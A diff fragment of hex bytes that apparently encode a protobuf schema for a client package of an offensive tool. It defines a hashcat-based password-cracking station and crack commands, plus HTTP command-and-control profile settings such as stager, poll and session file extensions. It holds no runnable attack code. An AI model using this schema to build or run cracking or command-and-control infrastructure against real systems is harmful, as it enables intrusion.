0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, - 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, - 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, - 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, - 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xfd, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, - 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, - 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, - 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, - 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, - 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, - 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, - 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, - 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, - 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, - 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, - 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, - 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, - 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, - 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, - 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, - 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, - 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, - 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, - 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, - 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, - 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, - 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, - 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, - 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, - 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, - 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, - 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, - 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, - 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, - 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, - 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, - 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, - 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, - 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, - 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, - 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, - 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, - 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, - 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, - 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, - 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, - 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, - 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, - 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, - 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, - 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, - 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x4c, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, + 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x52, + 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, + 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x07, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, + 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, + 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, + 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, + 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0c, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, + 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0d, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3c, 0x0a, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x32, 0x0a, 0x14, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, + 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0f, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x14, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, + 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3f, 0x0a, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, + 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x11, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, + 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x0c, 0x50, 0x61, 0x74, 0x68, + 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x32, 0x0a, 0x0c, 